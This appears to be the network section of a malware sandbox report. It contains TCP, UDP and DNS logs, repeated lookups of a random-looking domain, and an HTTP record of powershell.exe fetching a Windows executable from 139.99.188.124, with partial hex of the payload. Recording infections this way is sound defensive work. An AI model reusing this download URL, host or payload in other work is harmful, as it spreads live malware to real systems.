Dec 23, 2024 08:39:47.381069899 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.381120920 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.381963968 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.382014036 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.382132053 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.382929087 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.383059978 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.383331060 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.383996964 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.384099960 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.384160042 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.384987116 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.385102987 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.385226965 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.386039972 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.386142969 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.386197090 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.387085915 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.387151957 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.387209892 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.388252974 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.388269901 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.388314962 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.389170885 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.389256954 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.389394999 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.390290976 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.390306950 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.390351057 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.391225100 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.391520977 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.391582012 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.392281055 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.392388105 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.392535925 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.393279076 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.393403053 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.394316912 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.394325972 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.394488096 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.394555092 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.395365000 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.395385981 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.395447969 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.396434069 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.396533012 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.396575928 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.397460938 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.397559881 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.397998095 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.398464918 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.398574114 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.398642063 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.399588108 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.399614096 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.399784088 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.400559902 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.400703907 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.400758028 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.401568890 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.401701927 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.401875973 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.402635098 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.402738094 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.402781963 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.403697014 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.403801918 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.403909922 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.404690981 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.404815912 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.404882908 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.405766010 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.405836105 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.405924082 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.406761885 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.406857967 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.407032013 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.407905102 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.408032894 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.408077002 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.408857107 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.408951044 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.408994913 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.409923077 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.410003901 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.410262108 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.410938025 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.411006927 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.412013054 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.412066936 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.412075043 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.412296057 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.413045883 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.413106918 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.413175106 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.414124966 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.414208889 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.414252996 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.415163994 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.415186882 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.415237904 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.416145086 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.416162014 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.416223049 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.417247057 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.417263985 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.417567015 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.418145895 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.550447941 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.550512075 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.550515890 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.550811052 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.550913095 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.551120043 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.551879883 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.551924944 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.552050114 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.552961111 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.552974939 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.553041935 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.553916931 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.553992033 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.554012060 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.555006981 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.555051088 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.555095911 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.556015015 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.556068897 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.556099892 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.557109118 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.557249069 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.557465076 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.558141947 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.558156013 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.558212042 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.559084892 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.559215069 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.559278011 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.566210032 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.566297054 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.566379070 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.566724062 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.566767931 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.566822052 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.567745924 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.567903042 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.567954063 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.568793058 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.568837881 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.568856001 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.569845915 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.570007086 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.570055962 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.570872068 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.570918083 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.570919991 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.571953058 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.572032928 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.572079897 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.572935104 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.572985888 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.573021889 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.573985100 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.574064016 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.574115038 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.574999094 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.575052023 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.575165987 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.576047897 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.576150894 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.576200008 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.577157021 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.577223063 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.577285051 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.578135967 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.578191996 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.578237057 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.579241037 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.579289913 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.579355955 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.580241919 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.580358982 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.580413103 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.581335068 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.581409931 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.581454039 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.582256079 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.582303047 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.582375050 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.583354950 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.583369017 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.583417892 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.584551096 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.584599018 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.584796906 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.712932110 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.851284981 CET	49800	80	192.168.2.6	139.99.188.124

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:39:16.803947926 CET	61924	53	192.168.2.6	1.1.1.1
Dec 23, 2024 08:39:16.943422079 CET	53	61924	1.1.1.1	192.168.2.6
Dec 23, 2024 08:39:41.512689114 CET	63766	53	192.168.2.6	1.1.1.1
Dec 23, 2024 08:39:50.335503101 CET	61256	53	192.168.2.6	1.1.1.1
Dec 23, 2024 08:39:50.476089001 CET	53	61256	1.1.1.1	192.168.2.6
Dec 23, 2024 08:40:10.749681950 CET	63205	53	192.168.2.6	1.1.1.1
Dec 23, 2024 08:40:10.890923023 CET	53	63205	1.1.1.1	192.168.2.6
Dec 23, 2024 08:40:33.312580109 CET	51609	53	192.168.2.6	1.1.1.1
Dec 23, 2024 08:40:33.450445890 CET	53	51609	1.1.1.1	192.168.2.6
Dec 23, 2024 08:40:57.951822042 CET	52447	53	192.168.2.6	1.1.1.1
Dec 23, 2024 08:40:58.090277910 CET	53	52447	1.1.1.1	192.168.2.6
Dec 23, 2024 08:41:22.500134945 CET	50083	53	192.168.2.6	1.1.1.1
Dec 23, 2024 08:41:22.637501955 CET	53	50083	1.1.1.1	192.168.2.6
Dec 23, 2024 08:41:47.060111046 CET	54841	53	192.168.2.6	1.1.1.1
Dec 23, 2024 08:41:47.197592974 CET	53	54841	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 08:39:16.803947926 CET	192.168.2.6	1.1.1.1	0x7931	Standard query (0)	tiffany-careers.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:39:41.512689114 CET	192.168.2.6	1.1.1.1	0x1492	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:39:50.335503101 CET	192.168.2.6	1.1.1.1	0xf624	Standard query (0)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:10.749681950 CET	192.168.2.6	1.1.1.1	0x695f	Standard query (0)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:33.312580109 CET	192.168.2.6	1.1.1.1	0x89	Standard query (0)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:57.951822042 CET	192.168.2.6	1.1.1.1	0xb9e5	Standard query (0)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:41:22.500134945 CET	192.168.2.6	1.1.1.1	0x42e0	Standard query (0)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:41:47.060111046 CET	192.168.2.6	1.1.1.1	0xf9fd	Standard query (0)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 08:39:16.943422079 CET	1.1.1.1	192.168.2.6	0x7931	No error (0)	tiffany-careers.com		147.45.49.155	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:39:41.728708029 CET	1.1.1.1	192.168.2.6	0x1492	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 08:39:50.476089001 CET	1.1.1.1	192.168.2.6	0xf624	Name error (3)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:10.890923023 CET	1.1.1.1	192.168.2.6	0x695f	Name error (3)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:33.450445890 CET	1.1.1.1	192.168.2.6	0x89	Name error (3)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:58.090277910 CET	1.1.1.1	192.168.2.6	0xb9e5	Name error (3)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:41:22.637501955 CET	1.1.1.1	192.168.2.6	0x42e0	Name error (3)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:41:47.197592974 CET	1.1.1.1	192.168.2.6	0xf9fd	Name error (3)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

tiffany-careers.com

139.99.188.124

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49783	139.99.188.124	80	8156	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:39:38.768599987 CET	164	OUT	GET /IAFkh HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 139.99.188.124 Connection: Keep-Alive
Dec 23, 2024 08:39:40.260401011 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:39:39 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 16 Dec 2024 07:33:56 GMT ETag: "da2a8-6295e34064898" Accept-Ranges: bytes Content-Length: 893608 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 16 73 44 90 52 12 2a c3 52 12 2a c3 52 12 2a c3 14 43 cb c3 50 12 2a c3 cc b2 ed c3 53 12 2a c3 5f 40 f5 c3 61 12 2a c3 5f 40 ca c3 e3 12 2a c3 5f 40 cb c3 67 12 2a c3 5b 6a a9 c3 5b 12 2a c3 5b 6a b9 c3 77 12 2a c3 52 12 2b c3 72 10 2a c3 e7 8c c0 c3 02 12 2a c3 e7 8c f5 c3 53 12 2a c3 5f 40 f1 c3 53 12 2a c3 52 12 bd c3 50 12 2a c3 e7 8c f4 c3 53 12 2a c3 52 69 63 68 52 12 2a c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f1 5f 70 5a 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 e8 08 00 00 d8 04 00 00 00 00 00 fa 7f 02 00 00 10 00 00 00 00 09 00 00 00 40 00 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$sDRRRCPS_@a_@_@g[j[[jwR+r*S_@SRPSRichRPEL_pZ"@@@@\|Ppq; [@.text `.rdata@@.datatR@.rsrcP<@@.relocqpr@B
Dec 23, 2024 08:39:40.260421038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 44 61 4c 00 Data Ascii: DaLhC\YLhCKYNhC:YhC.Y<ChCYhCYQ>hCYsLQ@sLP9hCYGhC
Dec 23, 2024 08:39:40.260436058 CET	1236	IN	Data Raw: 46 04 59 83 24 b8 00 47 3b 7e 08 72 e7 ff 76 04 83 66 08 00 e8 bc fb 01 00 59 5f 5e c3 56 8b f1 57 8b 4e 78 85 c9 75 59 8b 46 7c 83 f8 0b 0f 8f 2a a4 03 00 0f 84 0a a4 03 00 83 e8 05 74 4e 83 e8 03 0f 84 df a3 03 00 48 48 0f 84 bd a3 03 00 83 66 Data Ascii: FY$G;~rvfY_^VWNxuYF\|*tNHHfpNTF\|N$NV\Y_^QfxNptQ,SV3WN~^^^N$NT^4^8^<^@^D~H~L^P^d^h^p^x
Dec 23, 2024 08:39:40.260497093 CET	1236	IN	Data Raw: 89 45 f4 f7 d9 89 55 0c 89 4d 08 80 38 08 73 53 83 c2 08 40 89 45 f4 05 f0 f7 ff ff 03 c1 89 55 0c 3b 46 0c 8b 45 f4 7c e2 8b 46 0c 3b d8 74 1a 2b c3 50 8d 86 10 08 00 00 03 c3 50 8d 43 02 8d 04 c6 50 57 ff 15 24 01 49 00 8b 76 04 85 f6 75 8d ff Data Ascii: EUM8sS@EU;FE\|F;t+PPCPW$IvuuW_^[];t +QPCPW$IEUMtDuLMtuWzME8tM@tEujPQWEUM#E
Dec 23, 2024 08:39:40.260548115 CET	1236	IN	Data Raw: 00 83 7e 4c ff 8b f8 74 03 8b 7e 4c 57 53 ff 15 40 01 49 00 6a 00 57 e8 55 08 00 00 eb 8f 8b c8 83 e9 4e 0f 84 aa 9e 03 00 83 e9 05 0f 84 90 9e 03 00 83 e9 28 0f 84 71 9e 03 00 83 e9 09 0f 84 52 9e 03 00 81 e9 8d 00 00 00 0f 84 30 9e 03 00 49 0f Data Ascii: ~Lt~LWS@IjWUN(qR0IIIDjUuuR+t#I4Iu-V&SVPWPVItIIhQQVCj~jwQHjUVW
Dec 23, 2024 08:39:40.260561943 CET	1120	IN	Data Raw: 0f 85 55 9c 03 00 5f 5e 5b 8b e5 5d c2 0c 00 8b 7d 0c 66 8b 46 58 80 bf 90 00 00 00 07 66 89 87 88 00 00 00 66 8b 46 5c 66 89 87 8a 00 00 00 74 5f 66 8b 46 60 66 89 87 8c 00 00 00 66 8b 46 64 66 89 87 8e 00 00 00 8d 45 dc 50 ff 37 ff 15 34 06 49 Data Ascii: U_^[]}fFXffF\ft_fF`ffFdfEP74I9^Xt=9^\tEEP7I9^`9^d{}tfEffEfUwLMEtAXEtA\E~A`E~Ad]
Dec 23, 2024 08:39:40.260575056 CET	1236	IN	Data Raw: 8b 35 f0 05 49 00 ff d6 ff 73 1c 0f b7 c0 c1 e8 0f 89 45 08 ff d6 0f b7 f0 8b 45 08 c1 ee 0f 3b 87 7c 01 00 00 0f 85 61 9b 03 00 83 7d 0c 00 74 06 89 87 7c 01 00 00 3b b7 80 01 00 00 0f 85 b5 9b 03 00 83 7d 0c 00 74 06 89 b7 80 01 00 00 5f 5e 5b Data Ascii: 5IsEE;\|a}t\|;}t_^[]}tx\|UMVW\|P;HBtt<u@MB`8t"\|;Bt8t_^]2UVW};Ft
Dec 23, 2024 08:39:40.260588884 CET	1236	IN	Data Raw: c3 00 00 04 00 0f 85 d2 01 00 00 8b 45 20 40 f7 d8 1b c0 23 45 20 89 45 1c a8 40 0f 85 cb 97 03 00 8b 45 10 89 45 20 8b 45 0c 89 45 0c 83 7d 14 ff b9 90 01 00 00 0f 84 a8 01 00 00 83 7d 18 ff 0f 84 a6 01 00 00 83 f8 ff 75 2d 6a 00 8d 45 e8 50 6a Data Ascii: E @#E E@EE EE}}u-jEPjj0@IjXIM+MM++E} uFjEPjj0@IjXIM+MM++E @tjXIjYE uEujjPIuEjSPIE+Ej5
